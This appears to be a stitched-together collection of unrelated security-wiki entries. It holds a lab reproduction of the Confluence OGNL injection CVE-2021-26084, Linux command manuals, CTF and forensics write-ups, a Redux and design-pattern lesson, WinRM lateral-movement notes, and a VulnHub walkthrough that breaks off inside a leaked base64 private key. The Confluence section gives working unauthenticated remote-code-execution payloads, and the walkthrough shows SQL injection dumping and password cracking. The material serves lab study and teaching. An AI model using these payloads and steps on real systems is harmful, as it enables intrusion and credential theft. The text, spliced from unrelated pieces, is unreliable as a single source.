# Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2021-26084) Atlassian Confluence是企业广泛使用的wiki系统,其部分版本中存在OGNL表达式注入漏洞。攻击者可以通过这个漏洞,无需任何用户的情况下在目标Confluence中执行任意代码。 参考链接: - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html - https://jira.atlassian.com/browse/CONFSERVER-67940 - https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md - https://github.com/h3v0x/CVE-2021-26084_Confluence ## 环境搭建 执行以下命令启动一个Confluence 7.4.10 data center 试用版本服务器: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8090`即可进入安装向导,参考[CVE-2019-3396](https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396)这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为`db`,数据库名称`confluence`,用户名密码均为`postgres`。 ![](3.png) ## 漏洞利用 有多个接口可以触发这个OGNL表达式注入漏洞。 ### /pages/doenterpagevariables.action 这个接口不需要登录即可利用,发送如下数据包,即可看到`233*233`已被执行: ``` POST /pages/doenterpagevariables.action HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 47 queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 ``` ![](2.png) 执行任意命令: ``` queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027 ``` ![](1.png) ### /pages/createpage-entervariables.action 这个路径也不需要用户登录: ``` POST /pages/createpage-entervariables.action HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 47 queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 ``` ### /pages/createpage.action 这个接口需要一个可以创建页面的用户权限: ``` GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1 Host: 192.168.1.162:8090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.162:8090/template/custom/content-editor.vm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a Connection: close ```
sec-knowleage
# Store > Redux 应用只有一个单一的`store` ### 概念 1. `Store`就是一个维护应用程序状态的对象 2. 提供提供`getState()`方法获取`state` ``` store.getState(): 获取最近的内部状态对象 - 返回应用当前的 state 树 - 它与 store 的最后一个 reducer 返回值相同 ``` 3. 提供`dispatch(action)`方法更新`state` ``` store.dispatch(action): 将一个`action`对象发送给 reducer - 分发 action 这是触发 state 变化的惟一途径。 - 会使当前getState的结果和传入的action以同步方式调用reduce函数 - 返回值会被作为下一个state - 从现在开始,这就成为了 getState() 的返回值 - 同时变化监听器(change listener)会被触发 ``` 4. 通过`subscribe(listener)`注册监听器 5. 通过`subscribe(listener)`返回的函数注销监听器 ### 创建`store` 1. 创建`src`下的`store.js`文件 ``` [项目文件夹] -> src -> store.js ``` 2. 导入 Redux 的`createStore`函数 ```js import { createStore } from 'redux' ``` 3. 通过 `Reducer` 函数,构造 Store 对象,导入`reducers` ```js import rootReducer from './reducers/' ``` 4. 导出 Store 对象 ```js let store = createStore(rootReducer) export default store ``` 5. 在父组件内引用 `<Provider store>`使组件层级中的`connect()`方法都能够获得 Redux store - 正常情况下,你的根组件应该嵌套在`<Provider>`中才能使用`connect()`方法 ```js import store from './store' //导入 store import { Provider } from 'react-redux' //导入 Provider Render(){ <Provider store={store}> //将 store 传入 <组件 /> </provider> } ``` - 如果你真的不想把根组件嵌套在 `<Provider>` 中,你可以把 store 作为 props 传递到每一个被 connet() 包装的组件, 但是我们只推荐您在单元测试中对 store 进行伪造 (stub) 或者在非完全基于 React 的代码中才这样做。正常情况下,你应该使用 <Provider>。 属性 store (Redux Store): 应用程序中唯一的 Redux store 对象 children (ReactElement) 组件层级的根组件。
sec-knowleage
ip === 网络配置工具 ## 补充说明 **ip命令** 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。 ### 语法 ```shell ip(选项)(对象) Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } ip [ -force ] -batch filename ``` ### 对象 ```shell OBJECT := { link | address | addrlabel | route | rule | neigh | ntable | tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm | netns | l2tp | macsec | tcp_metrics | token } -V:显示指令版本信息; -s:输出更详细的信息; -f:强制使用指定的协议族; -4:指定使用的网络层协议是IPv4协议; -6:指定使用的网络层协议是IPv6协议; -0:输出信息每条记录输出一行,即使内容较多也不换行显示; -r:显示主机时,不使用IP地址,而使用主机的域名。 ``` ### 选项 ```shell OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] | -h[uman-readable] | -iec | -f[amily] { inet | inet6 | ipx | dnet | bridge | link } | -4 | -6 | -I | -D | -B | -0 | -l[oops] { maximum-addr-flush-attempts } | -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] | -rc[vbuf] [size] | -n[etns] name | -a[ll] } 网络对象:指定要管理的网络对象; 具体操作:对指定的网络对象完成具体操作; help:显示网络对象支持的操作命令的帮助信息。 ``` ### 实例 ```shell ip link show # 显示网络接口信息 ip link set eth0 up # 开启网卡 ip link set eth0 down # 关闭网卡 ip link set eth0 promisc on # 开启网卡的混合模式 ip link set eth0 promisc offi # 关闭网卡的混合模式 ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 ip link set eth0 mtu 1400 # 设置网卡最大传输单元 ip addr show # 显示网卡IP信息 ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 ip route show # 显示系统路由 ip route add default via 192.168.1.254 # 设置系统默认路由 ip route list # 查看路由信息 ip route add 192.168.4.0/24 via 192.168.0.254 dev eth0 # 设置192.168.4.0网段的网关为192.168.0.254,数据走eth0接口 ip route add default via 192.168.0.254 dev eth0 # 设置默认网关为192.168.0.254 ip route del 192.168.4.0/24 # 删除192.168.4.0网段的网关 ip route del default # 删除默认路由 ip route delete 192.168.1.0/24 dev eth0 # 删除路由 ``` **用ip命令显示网络设备的运行状态** ```shell [root@localhost ~]# ip link list 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff ``` **显示更加详细的设备信息** ```shell [root@localhost ~]# ip -s link list 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 RX: bytes packets errors dropped overrun mcast 5082831 56145 0 0 0 0 TX: bytes packets errors dropped carrier collsns 5082831 56145 0 0 0 0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff RX: bytes packets errors dropped overrun mcast 3641655380 62027099 0 0 0 0 TX: bytes packets errors dropped carrier collsns 6155236 89160 0 0 0 0 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff RX: bytes packets errors dropped overrun mcast 2562136822 488237847 0 0 0 0 TX: bytes packets errors dropped carrier collsns 3486617396 9691081 0 0 0 0 ``` **显示核心路由表** ```shell [root@localhost ~]# ip route list 112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130 10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81 192.168.0.0/16 via 10.160.15.247 dev eth0 172.16.0.0/12 via 10.160.15.247 dev eth0 10.0.0.0/8 via 10.160.15.247 dev eth0 default via 112.124.15.247 dev eth1 ``` **显示邻居表** ```shell [root@localhost ~]# ip neigh list 112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE 10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE ``` **获取主机所有网络接口** ```shell ip link | grep -E '^[0-9]' | awk -F: '{print $2}' ```
sec-knowleage
##4042 (Misc/Crypto, 100p) ``` Unknown document is found in ancient ruins, in 2005. Could you figure out what is written in the document? ``` ###PL [ENG](#eng-version) Dostajemy [plik](no-network.txt) który mamy zdekodować. Podpowiedź stanowi `4042` oraz rok `2005`. Pozwala nam to dotrzeć do RFC4042: https://www.ietf.org/rfc/rfc4042.txt które w ramach żartu opisuje kodowanie UTF-9. Domyślamy się, że właśnie z takim kodowaniem mamy do czynienia i w celu odczytania flagi musimy napisać dekoder. Każdy znak jest kodowany na 9 bitach, gdzie najstarszy bit oznacza że znak jest kontynuowany na kolejnym bajcie. Pozostałe bity określają znak. Piszemy więc prosty kod: ```python def convert_single_char(start_pos, bits): end_pos = 9 continuation = int(bits[start_pos]) character = bits[start_pos + 1:start_pos + 9] c = int(character, 2) if continuation: character = bits[start_pos + 9:start_pos + 18] c <<= 8 c += int(character, 2) end_pos += 9 return unichr(c), end_pos ``` Który dla ciągu bitów oraz pozycji startowej zwraca zdekodowany znak oraz ostanią użytą pozycję. Dane wejściowe traktujemy jako liczbę w systemie ósemkowym a następnie dekodujemy za pomocą przygotowanego [skryptu](4042.py). W efekcie dostajemy flagę: ![](flag.png) czyli: `SECCON{A_GROUP_OF_NINE_BITS_IS_CALLED_NONET}` ### ENG version We get [a file](no-network.txt) which we are supposed to decode. A starting point is `4042` and year `2005`. This leads us to RFC4042: https://www.ietf.org/rfc/rfc4042.txt which is a joke describing UTF-9 encoding. We assume we will have to decode input file using this strange encoding so we need a decoder. Each character is encoded on 9 bits, where the most significant bit signals that the character is continued on another byte. Rest of the bits are left for the data itself. We make a simple decoder: ```python def convert_single_char(start_pos, bits): end_pos = 9 continuation = int(bits[start_pos]) character = bits[start_pos + 1:start_pos + 9] c = int(character, 2) if continuation: character = bits[start_pos + 9:start_pos + 18] c <<= 8 c += int(character, 2) end_pos += 9 return unichr(c), end_pos ``` Which takes a list of bits and start position and returns a chracter and index of last used position. We treat input data as a large oct number and decode with prepared [script](4042.py). As a result we get: ![](flag.png) which is: `SECCON{A_GROUP_OF_NINE_BITS_IS_CALLED_NONET}`
sec-knowleage
## For2 (Forensics, 200 points) tl;dr plot mouse movements from pcap The given [pcap file](capture.pcap) contains usb mouse traffic, knowing that certain bytes in LeftoverCaptureData contain relative mouse movement, we can easily export the needed data and plot the movements: [plotMouse.py](plotMouse.py) After running it we get a nice graph that has our upside down flag ;) ![alt](scr1.png) If our LeftoverCaptureData is "01234567", then ``` "01" = button pressed (0 = nothing, 1 = rpm, etc...) "23" = signed x movement "45" = signed y movement ``` We used python+bokeh for plotting, the unsigned to signed conversion was kinda tricky: `if x >= 1<<7: x -= 1<<8`
sec-knowleage
## 9. 策略(Strategy) ### Intent 定义一系列算法,封装每个算法,并使它们可以互换。 策略模式可以让算法独立于使用它的客户端。 ### Class Diagram - Strategy 接口定义了一个算法族,它们都实现了 behavior() 方法。 - Context 是使用到该算法族的类,其中的 doSomething() 方法会调用 behavior(),setStrategy(Strategy) 方法可以动态地改变 strategy 对象,也就是说能动态地改变 Context 所使用的算法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cd1be8c2-755a-4a66-ad92-2e30f8f47922.png"/> </div><br> ### 与状态模式的比较 状态模式的类图和策略模式类似,并且都是能够动态改变对象的行为。但是状态模式是通过状态转移来改变 Context 所组合的 State 对象,而策略模式是通过 Context 本身的决策来改变组合的 Strategy 对象。所谓的状态转移,是指 Context 在运行过程中由于一些条件发生改变而使得 State 对象发生改变,注意必须要是在运行过程中。 状态模式主要是用来解决状态转移的问题,当状态发生转移了,那么 Context 对象就会改变它的行为;而策略模式主要是用来封装一组可以互相替代的算法族,并且可以根据需要动态地去替换 Context 使用的算法。 ### Implementation 设计一个鸭子,它可以动态地改变叫声。这里的算法族是鸭子的叫声行为。 ```java public interface QuackBehavior { void quack(); } ``` ```java public class Quack implements QuackBehavior { @Override public void quack() { System.out.println("quack!"); } } ``` ```java public class Squeak implements QuackBehavior{ @Override public void quack() { System.out.println("squeak!"); } } ``` ```java public class Duck { private QuackBehavior quackBehavior; public void performQuack() { if (quackBehavior != null) { quackBehavior.quack(); } } public void setQuackBehavior(QuackBehavior quackBehavior) { this.quackBehavior = quackBehavior; } } ``` ```java public class Client { public static void main(String[] args) { Duck duck = new Duck(); duck.setQuackBehavior(new Squeak()); duck.performQuack(); duck.setQuackBehavior(new Quack()); duck.performQuack(); } } ``` ```html squeak! quack! ``` ### JDK - java.util.Comparator#compare() - javax.servlet.http.HttpServlet - javax.servlet.Filter#doFilter()
sec-knowleage
# WinRM --- **什么是 WinRM** Windows 远程管理(WinRM)是 WS-Management Protocol 的 Microsoft 实现。 WS-Management 协议是一种基于 SOAP 的防火墙友好协议,旨在用于系统查找和交换管理信息。WS-Management 协议规范的目的是为企业系统提供互操作性和一致性,其对防火墙友好的协议,允许来自不同供应商的硬件和操作系统进行互操作。借助 winrm.exe 和 powershell,管理员可以使用 WS-Management 协议远程执行大多数 Cmd.exe 命令、获取远程机器信息。在内网中,可以借助 WinRM 来进行横向移动或者后门驻留。从 Vista 开始,WinRM 成为 windows 默认组件。其在 2008 开始,作为默认服务启动,但默认不开启监听模式,因此无法接收、发送数据。Winrm quickconfig 命令可快速使用默认设置配置 WinRM。 ``` Winrm quickconfig ``` 查看 WinRM 当前监听情况 ``` Winrm enumerate winrm/config/listener ``` 默认监听 5985 端口 (HTTP),如果配置了 HTTPS,则默认监听 5986 端口。配置 HTTPS 需要自签名证书 默认情况下,WinRM 只允许域内机器连接。 只有设置 TrustedHosts 或者设置了 HTTPS 之后,其他机器才可以连接到 WinRM。设置信任主机 ``` winrm set winrm/config/client @{TrustedHosts="*"} ``` `*` 表示允许任意机器连接 **远程执行** cmd 下,本地也配置允许任意机器连接,然后访问远程主机 winrm ``` winrs -r:http://192.168.141.130:5985 -u:administrator -p:Abcd12345 ipconfig ``` --- **Source & Reference** - [WinRM利用](https://mp.weixin.qq.com/s/tHsgK2yybqg6AAGLE50vcg)
sec-knowleage
tailf === 在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出 ## 补充说明 tailf命令几乎等同于`tail -f`,严格说来应该与`tail --follow=name`更相似些。当文件改名之后它也能继续跟踪,特别适合于日志文件的跟踪(follow the growth of a log file)。与`tail -f`不同的是,如果文件不增长,它不会去访问磁盘文件。tailf特别适合那些便携机上跟踪日志文件,因为它能省电,因为减少了磁盘访问。tailf命令不是个脚本,而是一个用C代码编译后的二进制执行文件,某些Linux安装之后没有这个命令。 tailf和tail -f的区别 1. tailf 总是从文件开头一点一点的读, 而tail -f 则是从文件尾部开始读 2. tailf check文件增长时,使用的是文件名, 用stat系统调用;而tail -f 则使用的是已打开的文件描述符; 注:tail 也可以做到类似跟踪文件名的效果; 但是tail总是使用fstat系统调用,而不是stat系统调用;结果就是:默认情况下,当tail的文件被偷偷删除时,tail是不知道的,而tailf是知道的。 ### 语法 ```shell tailf logfile # 动态跟踪日志文件logfile,最初的时候打印文件的最后10行内容。 ``` ### 选项 ```shell -n, --lines NUMBER # 输出最后数行 -NUMBER # 与NUMBER相同 `-n NUMBER' -V, --version # 输出版本信息并退出 -h, --help # 显示帮助并退出 ``` ### 参数 目标:指定目标日志。 ### 实例 ```shell tailf log/WEB.LOG tailf -n 5 log2014.log # 显示文件最后5行内容 ```
sec-knowleage
tcpdump === 一款sniffer工具,是Linux上的抓包工具,嗅探器 ## 补充说明 **tcpdump命令** 是一款抓包,嗅探器工具,它可以打印所有经过网络接口的数据包的头信息,也可以使用`-w`选项将数据包保存到文件中,方便以后分析。 ### 语法 ```shell tcpdump(选项) ``` ### 选项 ```shell -a:尝试将网络和广播地址转换成名称; -c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作; -d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出; -dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出; -ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出; -e:在每列倾倒资料上显示连接层级的文件头; -f:用数字显示网际网络地址; -F<表达文件>:指定内含表达方式的文件; -i<网络界面>:使用指定的网络截面送出数据包; -l:使用标准输出列的缓冲区; -n:不把主机的网络地址转换成名字; -N:不列出域名; -O:不将数据包编码最佳化; -p:不让网络界面进入混杂模式; -q :快速输出,仅列出少数的传输协议信息; -r<数据包文件>:从指定的文件读取数据包数据; -s<数据包大小>:设置每个数据包的大小; -S:用绝对而非相对数值列出TCP关联数; -t:在每列倾倒资料上不显示时间戳记; -tt: 在每列倾倒资料上显示未经格式化的时间戳记; -T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型; -v:详细显示指令执行过程; -vv:更详细显示指令执行过程; -x:用十六进制字码列出数据包资料; -w<数据包文件>:把数据包数据写入指定的文件。 ``` ### 实例 **直接启动tcpdump将监视第一个网络接口上所有流过的数据包** ```shell tcpdump ``` **监视指定网络接口的数据包** ```shell tcpdump -i eth1 ``` 如果不指定网卡,默认tcpdump只会监视第一个网络接口,一般是eth0,下面的例子都没有指定网络接口。 **监视指定主机的数据包** 打印所有进入或离开sundown的数据包。 ```shell tcpdump host sundown ``` 也可以指定ip,例如截获所有210.27.48.1 的主机收到的和发出的所有的数据包 ```shell tcpdump host 210.27.48.1 ``` 打印helios 与 hot 或者与 ace 之间通信的数据包 ```shell tcpdump host helios and \( hot or ace \) ``` 截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信 ```shell tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \) ``` 打印ace与任何其他主机之间通信的IP 数据包, 但不包括与helios之间的数据包. ```shell tcpdump ip host ace and not helios ``` 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令: ```shell tcpdump ip host 210.27.48.1 and ! 210.27.48.2 ``` 抓取eth0网卡上的包,使用: ```shell sudo tcpdump -i eth0 ``` 截获主机hostname发送的所有数据 ```shell tcpdump -i eth0 src host hostname ``` 监视所有送到主机hostname的数据包 ```shell tcpdump -i eth0 dst host hostname ``` **监视指定主机和端口的数据包** 如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令 ```shell tcpdump tcp port 23 and host 210.27.48.1 ``` 对本机的udp 123 端口进行监视 123 为ntp的服务端口 ```shell tcpdump udp port 123 ``` **监视指定网络的数据包** 打印本地主机与Berkeley网络上的主机之间的所有通信数据包 ```shell tcpdump net ucb-ether ``` ucb-ether此处可理解为“Berkeley网络”的网络地址,此表达式最原始的含义可表达为:打印网络地址为ucb-ether的所有数据包 打印所有通过网关snup的ftp数据包 ```shell tcpdump 'gateway snup and (port ftp or ftp-data)' ``` 注意:表达式被单引号括起来了,这可以防止shell对其中的括号进行错误解析 打印所有源地址或目标地址是本地主机的IP数据包 ```shell tcpdump ip and not net localnet ``` 如果本地网络通过网关连到了另一网络,则另一网络并不能算作本地网络。 抓取80端口的HTTP报文,以文本形式展示: ```shell sudo tcpdump -i any port 80 -A ```
sec-knowleage
# Pinkys Palace v1 > https://download.vulnhub.com/pinkyspalace/Pinkys-Palace.ova > > vm box 靶场IP:`192.168.32.9` ![image-20220720155302932](../../.gitbook/assets/image-20220720155302932.png) 扫描对外端口 ``` ┌──(root㉿kali)-[~] └─# nmap -p1-65535 -sV 192.168.32.9 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 03:56 EDT Nmap scan report for 192.168.32.9 Host is up (0.00034s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 8080/tcp open http nginx 1.10.3 31337/tcp open http-proxy Squid http proxy 3.5.23 64666/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) MAC Address: 08:00:27:77:F4:3C (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.42 seconds ``` 浏览器访问 ![image-20220720155529594](../../.gitbook/assets/image-20220720155529594.png) ![image-20220720155514965](../../.gitbook/assets/image-20220720155514965.png) 需要使用squid访问环回地址才可以不被拦截 ``` ┌──(root㉿kali)-[~] └─# curl http://127.0.0.1:8080 -x 192.168.32.9:31337 <html> <head> <title>Pinky's HTTP File Server</title> </head> <body> <center><h1>Pinky's HTTP File Server</h1></center> <center><h3>Under Development!</h3></center> </body> <style> html{ background: #f74bff; } </html> ``` ![image-20220720155833164](../../.gitbook/assets/image-20220720155833164.png) ![image-20220720162641466](../../.gitbook/assets/image-20220720162641466.png) 使用dirbuster,配置HTTP代理进行爆破 ![image-20220720161357753](../../.gitbook/assets/image-20220720161357753.png) ![image-20220720161302188](../../.gitbook/assets/image-20220720161302188.png) 找到`/littlesecrets-main`目录 ![image-20220720161501668](../../.gitbook/assets/image-20220720161501668.png) 访问目录 ![image-20220720162708491](../../.gitbook/assets/image-20220720162708491.png) 使用sqlmap ``` ┌──(root㉿kali)-[~] └─# sqlmap –proxy=http://192.168.32.9:31337 –dbms=mysql –data="user=admin&pass=pwd&submit=Login" –url http://127.0.0.1:8080/littlesecrets-main/login.php –level=5 –risk=3 ``` ![image-20220720163315828](../../.gitbook/assets/image-20220720163315828.png) 导出用户表 ``` ┌──(root㉿kali)-[~] └─# sqlmap –proxy=http://192.168.32.9:31337 –dbms=mysql –data="user=admin&pass=pwd&submit=Login" –url http://127.0.0.1:8080/littlesecrets-main/login.php –level=5 –risk=3 –dump -D pinky_sec_db -T users Database: pinky_sec_db Table: users [2 entries] +-----+----------------------------------+-------------+ | uid | pass | user | +-----+----------------------------------+-------------+ | 1 | f543dbfeaf238729831a321c7a68bee4 | pinky | | 2 | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage | +-----+----------------------------------+-------------+ ``` > https://crackstation.net/ `pinkymanage/3pinkysaf33pinkysaf3` ![image-20220720164752649](../../.gitbook/assets/image-20220720164752649.png) ssh进行登录 ``` ┌──(root㉿kali)-[~] └─# ssh pinkymanage@192.168.32.9 -p64666 The authenticity of host '[192.168.32.9]:64666 ([192.168.32.9]:64666)' can't be established. ED25519 key fingerprint is SHA256:QUuapQBImuyyLZ2XEorKhwl3PUB551ZknLzOB7sXerY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.32.9]:64666' (ED25519) to the list of known hosts. pinkymanage@192.168.32.9's password: Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Feb 2 04:00:51 2018 from 127.0.0.1 pinkymanage@pinkys-palace:~$ id uid=1001(pinkymanage) gid=1001(pinkymanage) groups=1001(pinkymanage) ``` 找到私钥文件 ``` pinkymanage@pinkys-palace:~$ cd /var/www/html/ pinkymanage@pinkys-palace:/var/www/html$ ls index.html littlesecrets-main pinkymanage@pinkys-palace:/var/www/html$ cd littlesecrets-main/ pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main$ ls index.html login.php logs.php ultrasecretadminf1l35 pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main$ cd ultrasecretadminf1l35/ pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ ls note.txt pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat note.txt Hmm just in case I get locked out of my server I put this rsa key here.. Nobody will find it heh.. pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ ls -al total 16 drwxr-xr-x 2 root root 4096 Feb 2 2018 . drwxr-xr-x 3 root root 4096 Feb 2 2018 .. -rw-r--r-- 1 root root 99 Feb 2 2018 note.txt -rw-r--r-- 1 root root 2270 Feb 2 2018 .ultrasecret pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ cat .ultrasecret LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMTZmeEwzLyto L0lMVFpld2t2ZWtoSVExeWswb0xJK3kzTjRBSXRraGV6MTFJaGE4CkhjN0tPeC9MOWcyamQzSDhk R1BVZktLcjlzZXF0Zzk3WktBOTVTL3NiNHczUXRsMUFCdS9wVktaQmJHR3NIRy8KeUl2R0VQS1Mr QlNaNHN0TVc3SG54N2NpTXVod2Nad0xxWm1zeVN1bUVDVHVlUXN3TlBibElUbHJxb2xwWUY4eApl NDdFbDlwSHdld05XY0lybXFyYXhDSDVUQzdVaGpnR2FRd21XM3FIeXJTcXAvaksvY3RiMVpwblB2 K0RDODMzCnUvVHlqbTZ6OFJhRFpHL2dSQklyTUduTmJnNHBaRmh0Z2JHVk9mN2ZlR3ZCRlI4QmlU KzdWRmZPN3lFdnlCeDkKZ3hyeVN4dTJaMGFPTThRUjZNR2FETWpZVW5COWFUWXV3OEdQNHdJREFR QUJBb0lCQUE2aUg3U0lhOTRQcDRLeApXMUx0cU9VeEQzRlZ3UGNkSFJidG5YYS80d3k0dzl6M1Mv WjkxSzBrWURPbkEwT1VvWHZJVmwvS3JmNkYxK2lZCnJsZktvOGlNY3UreXhRRXRQa291bDllQS9r OHJsNmNiWU5jYjNPbkRmQU9IYWxYQVU4TVpGRkF4OWdrY1NwejYKNkxPdWNOSUp1eS8zUVpOSEZo TlIrWVJDb0RLbkZuRUlMeFlMNVd6MnFwdFdNWUR1d3RtR3pPOTY4WWJMck9WMQpva1dONmdNaUVp NXFwckJoNWE4d0JSUVZhQnJMWVdnOFdlWGZXZmtHektveEtQRkt6aEk1ajQvRWt4TERKcXQzCkxB N0pSeG1Gbjc3L21idmFEVzhXWlgwZk9jUzh1Z3lSQkVOMFZwZG5GNmtsNnRmT1hLR2owZ2QrZ0Fp dzBUVlIKMkNCN1BzRUNnWUVBOElXM1pzS3RiQ2tSQnRGK1ZUQnE0SzQ2czdTaFc5QVo2K2JwYitk MU5SVDV4UkpHK0RzegpGM2NnNE4rMzluWWc4bUZ3c0Jobi9zemdWQk5XWm91V3JSTnJERXhIMHl1 NkhPSjd6TFdRYXlVaFFKaUlQeHBjCm4vRWVkNlNyY3lTZnpnbW50T2liNGh5R2pGMC93bnRqTWM3 M3h1QVZOdU84QTZXVytoZ1ZIS0VDZ1lFQTVZaVcKSzJ2YlZOQnFFQkNQK3hyQzVkSE9CSUVXdjg5 QkZJbS9Gcy9lc2g4dUU1TG5qMTFlUCsxRVpoMkZLOTJReDlZdgp5MWJNc0FrZitwdEZVSkxjazFN MjBlZkFhU3ZPaHI1dWFqbnlxQ29mc1NVZktaYWE3blBRb3plcHFNS1hHTW95Ck1FRWVMT3c1NnNK aFNwMFVkWHlhejlGUUFtdnpTWFVudW8xdCtnTUNnWUVBdWJ4NDJXa0NwU0M5WGtlT3lGaGcKWUdz 